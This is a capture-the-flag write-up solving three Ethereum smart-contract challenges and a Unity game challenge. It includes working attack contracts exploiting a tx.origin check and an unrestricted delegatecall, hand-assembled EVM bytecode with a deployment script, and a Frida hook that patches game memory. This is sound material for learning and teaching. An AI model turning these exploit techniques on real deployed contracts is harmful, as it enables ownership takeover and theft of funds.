After enjoying last year’s Cyber Security Rumble CTF I rejoined the competition this year together with some friends from KITCTF.
I had a lot of fun and I plan to participate again next year.
These are a few of the challenges I solved during the weekend.
UnknownOrigin #
The first of three Ethereum smart contract challenges of the CTF.
All the challenges are deployed on a private Ethereum chain that we can connect to using metamask and the provided RPC url.
We also get 10 ETH on this chain, so we can pay for transactions.
This was the code for the first smart contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract UnknownOrigin {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwned () {
require(msg.sender != tx.origin);
_;
}
function updateOwner (address _newOwner) public onlyOwned {
owner = _newOwner;
}
}
We have to set the owner
variable of this contract to our address to solve the challenge.
To achieve this, we have to call the updateOwner(address)
function with our own address as parameter.
The call will only succeed if msg.sender != tx.oring
.
According to this Stackexchange answer, this condition is met if a call is coming from another smart contract instead of a transaction.
With this knowledge, I fired up remix and wrote the following attack contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./UnknownOrigin.sol";
contract Attack {
UnknownOrigin public uo;
constructor(address v) public {
uo = UnknownOrigin(v);
uo.updateOwner(msg.sender);
}
}
To deploy it, I configured remix to use metamask to reach the CTF chain by selecting the “Injected Web3” environment.
If the attack contract is called with the address of UnkownOrigin
as parameter, it will automatically call updateOwner
with our address.
Unaffordable #
The second Ethereum challenge, same setup, new contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Unaffordable {
address public owner;
address public adminContract;
address[] public ownerHistory;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner () {
require(msg.sender == owner);
_;
}
function updateAdminContract (address _admin) public returns (uint){
uint size;
assembly { size:= extcodesize(_admin) }
require(size > 0 && size < 42);
adminContract = _admin;
}
function remoteAdmin () public {
adminContract.delegatecall(abi.encodePacked(bytes4(keccak256("adminFn()"))));
}
function updateOwnership (address _newOwner) private {
ownerHistory.push(owner);
owner = _newOwner;
}
function transferOwnership (address _newOwner) public onlyOwner {
updateOwnership(_newOwner);
}
function buyout () public payable {
require(msg.value > 1000000 ether);
updateOwnership(msg.sender);
}
}
This contract allows us to
- Become the owner of the contract by paying 1000000 ether
- Set an admin contract that has to be between 1 and 42 bytes large
- Execute a
delegatecall
to the admin contract
The first option is easy to understand, but hard to execute. We don’t have 100000 ether.
The second option is also quite easy to understand. The extcodesize
of contracts is 0
while their constructor still runs, I assume this is why we are given a lower bound.
The only weird option is the last one.
A delegatecall
calls a function on another contract but in the context of the current contract.
This means the other contract has access to the callers memory and storage.
If we can register our own admin contract that is less than 42 bytes large but can modify the owner
variable, we should be able to take over this contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract UnaffordableAttackAdmin {
address public owner;
address public adminContract;
address[] public ownerHistory;
function adminFn () public {
owner = tx.origin;
}
}
This would do the job, but sadly these few lines of solidity compile to a few hundred bytes of EVM opcodes. Way too much for the challenge.
The solidity compiler can output readable ASM instructions, so what I did was to remove all the “unnecessary” instructions to create a contract that does nothing else than setting the storage slot used for the owner
variable to tx.origin
.
/* constructor */
mstore(0x40, 0x80)
callvalue
dup1
iszero
tag_1
jumpi
0x00
dup1
revert
tag_1:
pop
dataSize(sub_0)
dup1
dataOffset(sub_0)
0x00
codecopy
0x00
return
stop
/* deployed code */
sub_0: assembly {
0x00
dup1
sload
0x01
0x01
0xa0
shl
sub
not
and
origin
or
swap1
sstore
stop
}
A few things that were useful for this exercise:
- Without
solc --optimize
even just the code to write the storage was too large
- Solidity generates one big “main” function that reads the first argument of the contract call and interprets it as method name. We can remove all that code and directly run our method at the beginning of the contract since we only have a single method
- Sadly
solc
doesn’t seem to support assembling standalone ASM contracts but this tool does.
To deploy the compiled contract code, I wrote the following node.js script:
const Web3 = require('web3')
const Tx = require('@ethereumjs/tx').Transaction
const fs = require('fs')
const web3 = new Web3('http://ethereum.rumble.host:8545')
const key = Buffer.from('my_private_key', 'hex')
const account = '0x5E9906F9254cF18eb3f249c1D24a6f5e82cfD7f6'
// output of evm-assembler
const bytecode = '0x6080604052348015600f57600080fd5b50601380601d6000396000f300600080546001600160a01b0319163217905500'
const gasPrice = web3.eth.gasPrice;
const gasPriceHex = web3.utils.toHex(gasPrice);
const gasLimitHex = web3.utils.toHex(3000000);
const tra = {
gasPrice: gasPriceHex,
gasLimit: gasLimitHex,
data: bytecode,
from: account,
nonce: 30
}
const tx = new Tx(tra)
web3.eth.sendSignedTransaction('0x' + tx.sign(key).serialize().toString('hex'), (err, hash) => {
console.log(err, hash)
})
With the admin contract in place, I only needed another small contract to execute the actual attack:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Unaffordable.sol";
import "./UnaffordableAttackAdmin.sol";
contract UnaffordableAttack {
Unaffordable public uo;
uint public size;
constructor(Unaffordable attack) public {
uo = attack;
// Address of our handmade admin contract
address admin = 0xCeb167b36635013ABC369A83E6A5685641A491Cb;
// Used as info during development
uint s;
assembly { s:= extcodesize(admin) }
size = s;
// Start the attack
uo.updateAdminContract(admin);
// Trigger the deligatecall
uo.remoteAdmin();
}
}
Since there are no special requirements for this contract, I wrote & deployed it simply using remix.
FollowTheLeader #
The last smart contract challenge. We get no source code this time, only an address.
I used the block explorer provided by the organizers to dump the contract byte code and passed it to two different decompilers: ethervm.io and panoramix.
The second one generated pretty readable code:
# Palkeoramix decompiler.
def storage:
highScore is uint256 at storage 0
leaderAddress is addr at storage 1
def highScore(): # not payable
return highScore
def leader(): # not payable
return leaderAddress
#
# Regular functions
#
def _fallback() payable: # default function
revert
def claim(): # not payable
require caller == leaderAddress
call caller with:
value eth.balance(this.address) wei
gas 2300 * is_zero(value) wei
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
def submit(uint256 score) payable:
require calldata.size - 4 >= 32
require ext_code.size(0x24929d6336819282901da57a89ba7b5841fe91f0)
static call 0x24929d6336819282901da57a89ba7b5841fe91f0.0x4250ac74 with:
gas gas_remaining wei
args call.value, score, highScore
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
require return_data.size >= 32
if ext_call.return_data[0]:
leaderAddress = caller
highScore = score
There exists a submit(score)
function that we can call and that seems to call a function 0x4250ac74
on another contract. If this second call succeeds, we win and the highScore
variable gets updated.
I also dumped the second contract using the block explorer and decompiled it:
# Palkeoramix decompiler.
def _fallback() payable: # default function
revert
def unknown4250ac74(uint256 call_value, uint256 score, uint256 highScore) payable:
require calldata.size - 4 >= 96
if score <= highScore:
return False #(score > highScore)
if score >= 2 * highScore:
return False #(score < 2 * highScore)
return (1337 * 10^9 * score == call_value)
The function accepts three parameters (that I already renamed in this snippet) and does some basic checks with them. We can easily reverse these steps to know which values we have to use.
I wrote a simple stub contract, so I could interact with the real one using remix:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract FollowTheLeaderStub {
address public leader;
uint256 public highScore;
function submit (uint256 score) public payable {}
function claim () public payable {}
}
The current high score during the CTF was 9000, so I submitted a transaction with a score of 10000 and 1337 * 10^9 * 10000
wei or 0.01337
ether as transaction amount.
CSRunner #
A game challenge where we have to collect every flag char while avoiding any obstacles. As soon as we hit a single red enemy, it’s game over, and we have to start again.
After extracting the challenge files, we find a file called UnityPlayer.dll
, hinting that the game could be using the unity game engine.
I have already solved some Unity game challenges in the past, which is why I quickly spotted the
./csrunner_Data/il2cpp_data
directory and realized that the game’s code was compiled using IL2CPP, an IL bytecode to C++ compiler offered by Unity.
For us this means that we won’t find any easily reversible C# bytecode in the binary, but we should be able to dump the class names, attributes and methods that existed in the original code.
The IL2CppDumper Project provides an easy way to do this:
.\Il2CppDumper.exe GameAssembly.dll global-metadata.dat out/
This generates the dump.cs
file, which contains the layout of all classes used in the game’s code.
After some looking around, I found the following class:
// Namespace:
public class Spawner : MonoBehaviour // TypeDefIndex: 3153
{
// Fields
public float xrange; // 0x18
public GameObject enemyPrefab; // 0x20
public GameObject pickupPrefab; // 0x28
public bool spawnEnemies; // 0x30
public float minSpawnTime; // 0x34
public float maxSpawnTime; // 0x38
public int minSpawnCount; // 0x3C
public int maxSpawnCount; // 0x40
private float nextSpawnTime; // 0x44
private float lastDropStep; // 0x48
// Properties
public float SpawnDelay { get; }
// Methods
// RVA: 0x6EA9B0 Offset: 0x6E95B0 VA: 0x1806EA9B0
public float get_SpawnDelay() { }
// RVA: 0x6EA540 Offset: 0x6E9140 VA: 0x1806EA540
private void Update() { }
// RVA: 0x2E80E0 Offset: 0x2E6CE0 VA: 0x1802E80E0
public void ResetDrops() { }
// RVA: 0x6EA2C0 Offset: 0x6E8EC0 VA: 0x1806EA2C0
private GameObject SpawnPrefab(GameObject prefab, bool canHome) { }
// RVA: 0x6EA980 Offset: 0x6E9580 VA: 0x1806EA980
public void .ctor() { }
}
The spawnEnemies
attribute seemed interesting, and I wanted to try to modify it.
To easily debug and modify the game, I used Frida, a tool that allows us to hook and modify programs at runtime using custom JavaScript code.
To overwrite spawnEnemies
I have to know its address. I tried hooking one of the methods of the Spawner
class to find the address of the object, but this didn’t work somehow.
At this point I had another look at the dumped classes and found the main Game
class that holds
a reference to our Spawner
object:
// Namespace:
public class Game : MonoBehaviour // TypeDefIndex: 3145
{
// ..
public Spawner spawner; // 0x68
// ...
// RVA: 0x6E7000 Offset: 0x6E5C00 VA: 0x1806E7000
public void GameOver(string reason) { }
// ...
}
I choose the GameOver
method on the Game
class since I know how I could trigger a call to it and tried to hook it, similar to how I tried it with the other methods before and this time it worked.
// agent.js
var baseAddr = Module.findBaseAddress('GameAssembly.dll')
console.log('GameAssembly.dll baseAddr: ' + baseAddr)
var game_over = resolveAddress('0x6E7000')
Interceptor.attach(game_over, {
onEnter: function (args) {
const game = args[0]
ptr(game).add(0x68).readPointer().add(0x30).writeInt(0)
console.log('spawn', ptr(game).add(0x68).readPointer().add(0x30).readInt())
}
});
function resolveAddress(offset) {
return baseAddr.add(offset);
}
This snippet does a few things:
- Find the base address for the
GameAssembly.dll
- Compute the address for the
Game::GameOver()
method
- Hook the
Game::GameOver()
method. Once it gets called, use the first argument which is a reference to the Game
object to find the address of the Spawner::spawnEnemies
attribute and set it to false
This successfully prevented enemies from spawning and I could collect all the flag chars without hitting any obstacles.
To inject the script into the game a bit of Frida boilerplate in python is required, this is the script that I used:
import json
import codecs
import frida
import sys
def main(target_process):
session = frida.attach(target_process)
with codecs.open('./agent.js', 'r', 'utf-8') as f:
source = f.read()
script = session.create_script(source)
script.load()
print("[!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program.\n\n")
sys.stdin.read()
session.detach()
if __name__ == '__main__':
if len(sys.argv) != 2:
print("Usage: %s <process name or PID>" % __file__)
sys.exit(1)
try:
target_process = int(sys.argv[1])
except ValueError:
target_process = sys.argv[1]
main(target_process)